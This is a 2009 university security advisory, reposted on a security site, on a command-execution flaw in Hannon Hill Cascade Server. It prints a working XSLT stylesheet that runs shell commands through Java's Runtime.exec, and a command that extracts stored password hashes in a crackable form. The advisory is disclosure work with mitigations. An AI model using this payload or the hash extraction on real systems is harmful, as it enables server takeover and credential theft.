首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Hannon Hill Cascade Server Command Execution Vulnerability (post auth)
来源:www.vfcocus.net 作者:University 发布时间:2009-03-20  
Emory University UTS Security Advisory EMORY-2009-01

Topic: Command Execution in Hannon Hill Cascade Server

Original release date: March 19, 2009

SUMMARY
=======

Hannon Hill's Cascade Server product is vulnerable to a command
execution vulnerability. An attacker with access to an unprivileged
account within Cascade Server could exploit this vulnerability to run
arbitrary commands on the system with the privileges of the user who
started Cascade Server.

AFFECTED SOFTWARE
=================

* Cascade Server, all versions

IMPACT
======

An attacker with access to an unprivileged account within Cascade
Server could exploit this vulnerability to run arbitrary commands on
the system with the privileges of the user who started Cascade Server.

The privileges of that user are necessarily sufficient to gain full
administrative control of Cascade Server - elevate privileges, conduct
denial of service, etc.

DETAILS
=======

Cascade Server allows its users to write XSLT stylesheets which it
uses to transform XML source data into HTML or other formats. Cascade
Server employs the Apache XML Project's Xalan-Java XSLT processor to
perform these transformations.

The Xalan-Java site states, "For those situations where you would like
to augment the functionality of XSLT with calls to a procedural
language, Xalan-Java supports the creation and use of extension
elements and extension functions... Extensions written in Java are
directly supported by Xalan-Java."

Because Cascade Server does not restrict the kind of XSLT code users
are able to enter, any user with access to edit XSLT stylesheets can
cause Cascade Server to execute arbitrary Java code. Using the
java.lang.Runtime class, Java can run shell commands.

While the privilege level of the Cascade Server process may prevent
an attacker from gaining complete control of the host system, that
privilege level is necessarily sufficient to gain full control of
Cascade Server.

SOLUTION
========

No full solution exists at this time, but see Recommendations, below.

Hannon Hill is working to develop an official solution, and customers may
wish to monitor its progress using the Hannon Hill ticketing system
(requires a customer account).

http://support.hannonhill.com/browse/CSCD-4753

RECOMMENDATIONS
===============

It may be possible to limit exposure in the following ways:

* Grant the ability to edit XSLT files only to trusted users.

* Enforce strong passwords for accounts with XSLT editing privileges.
Cascade stores user passwords as base64 encoded SHA1 hashes in the
password field of the cxml_user table, and can be audited with any
SHA1-capable password cracker. For example, to extract hashes from a
MySQL database in a form useable by John the Ripper's
(http://www.openwall.com/john/) raw-sha1 format:

echo "select userName, password from cxml_user" \
| mysql cascade \
| perl -i -ne 'use MIME::Base64; /^(.*?)\t(.*)/ && print "$1:" . unpack("H*", decode_base64($2))."\n"'

* Run Cascade Server as a user with as few privileges as possible.

* On UNIX systems, run Cascade Server in a chroot environment.

EXPLOIT
=======

This exploit example assumes the ability to create and edit blocks,
stylesheets, and pages. It's also possible to exploit the
vulnerability simply by modifying an existing stylesheet.

Create a stylesheet with the following contents:

<?xml version="1.0"?>
<xsl:stylesheet exclude-result-prefixes="java" version="1.0"
xmlns:bufferedreader="xalan://java.io.BufferedReader"
xmlns:inputstreamreader="xalan://java.io.InputStreamReader"
xmlns:java="http://xml.apache.org/xalan/java"
xmlns:process="xalan://java.lang.Process"
xmlns:runtime="xalan://java.lang.Runtime"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:variable name="runtime" select="runtime:getRuntime()"/>
  <xsl:template match="//command">
      <xsl:variable name="process" select="runtime:exec($runtime, string(.))"/>
      <xsl:variable name="inputstream" select="process:getInputStream($process)"/>
      <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/>
      <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/>
      <p>
        Output: <xsl:value-of select="bufferedreader:readLine($bufferedreader)"/><br/>
      </p>
  </xsl:template>
</xsl:stylesheet>

Create an XML block with the following contents, substituting your own
command or commands.

<command>id</command>
<command>uname -a</command>
...

Create or edit a page using a template with at least one region defined.
Under the configuration tab, set Block to point to your XML block and
Stylesheet (AKA Layout in Cascade 5.7+) to point to your stylesheet.

View the layout or preview tab for that page, and you should see the
output of your commands. Note that the above stylesheet is only able
to display the first line of output.

ACKNOWLEDGMENTS
===============

Thanks to Bradley Wagner and Hannon Hill in general for their quick
initial response to the problem.

Thanks to Amy Liu and Brett Goodwin of Hannon Hill for their "Advanced
XSLT" talk at the 2008 Cascade Server User's Conference, which
inspired this research.

DISCLAIMER
==========

The information in this advisory is provided by Emory as a courtesy
and without any representations or warranties.  Recipients are
advised to conduct their own investigation and due diligence before
relying on its contents.

VULNERABILTY HISTORY
====================

2008-10-01  Vulnerability discovered
            Hannon Hill notified
            Ticket opened in Hannon Hill issue tracker

2008-10-15  Hannon Hill staff member assigned to the issue

2009-02-23  Hannon Hill staff member reassigned

2009-03-19  Initial revision of advisory published

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Chasys Media Player (.lst play
·POP Peeper 3.4.0.0 (From) Remo
·SW-HTTPD Server 0.x Remote Den
·BS.Player <= 2.34 Build 980 (.
·Bloginator v1a SQL Command Inj
·BS.Player 2.34 (.bsl) Universa
·Chasys Media Player 1.1 .cue F
·Racer 0.5.3b5 Remote Stack Buf
·SilverNews version 2.04 local
·CloneCD/DVD (ElbyCDIO.sys < 6.
·Icarus 2.0 (.PGN File) Local S
·WBB3 rGallery 1.2.3 (UserGalle
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved